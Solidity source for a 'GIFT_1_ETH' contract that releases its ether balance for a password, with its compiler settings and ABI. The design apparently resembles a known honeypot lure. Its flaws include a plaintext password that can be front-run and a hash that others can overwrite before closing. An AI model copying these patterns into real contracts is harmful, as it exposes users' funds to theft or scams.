pragma solidity ^0.4.19;
contract GIFT_1_ETH
{
function GetGift(bytes pass)
external
payable
{
if(hashPass == keccak256(pass) && now>giftTime)
{
msg.sender.transfer(this.balance);
}
}
function GetGift()
public
payable
{
if(msg.sender==reciver && now>giftTime)
{
msg.sender.transfer(this.balance);
}
}
bytes32 hashPass;
bool closed = false;
address sender;
address reciver;
uint giftTime;
function GetHash(bytes pass) public pure returns (bytes32) {return keccak256(pass);}
function SetPass(bytes32 hash)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || hashPass==0x00)
{
hashPass = hash;
sender = msg.sender;
giftTime = now;
}
}
function SetGiftTime(uint date)
public
{
if(msg.sender==sender)
{
giftTime = date;
}
}
function SetReciver(address _reciver)
public
{
if(msg.sender==sender)
{
reciver = _reciver;
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(hash==hashPass&&msg.sender==sender)
{
closed=true;
}
}
function() public payable{}
}
{
"compilationTarget": {
"GIFT_1_ETH.sol": "GIFT_1_ETH"
},
"libraries": {},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"SetPass","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"PassHasBeenSet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_reciver","type":"address"}],"name":"SetReciver","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"date","type":"uint256"}],"name":"SetGiftTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]